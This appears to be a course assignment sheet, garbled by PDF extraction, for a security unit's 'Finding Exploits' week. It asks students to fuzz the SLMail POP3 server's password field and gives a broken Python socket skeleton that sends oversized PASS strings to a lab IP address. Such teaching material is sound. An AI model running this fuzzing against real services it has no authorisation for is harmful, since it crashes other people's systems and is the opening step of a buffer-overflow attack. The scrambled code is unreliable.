Pass Task

10

11

12

13

14

Finding Exploits

LO

1 import socket

2

15

Week 8

Subtask 1

Fuzz SLmail by finding out how long a password string will crash the program. You should

submit the following.

1. A screenshot of the SLMail crashing

2. How long the string had to be before the program crashed.

7 try:

8

9

Below is some code to help you start.

3s = socket.socket (socket.AF\_INET, socket.SOCK\_STREAM)

4

5 buffer = A * X %change X to fuzz

6

Listing 1: Code Skeleton

SIT 379

s. connect(('192.168.97.130', 110))

data = s.recv(1024)

s.send('USER legit' + '\r\n')

data = s.recv(1024)

s.send('PASS + buffer + '\r\n')

data s.recv(1024)

s.close()

print 'Done!'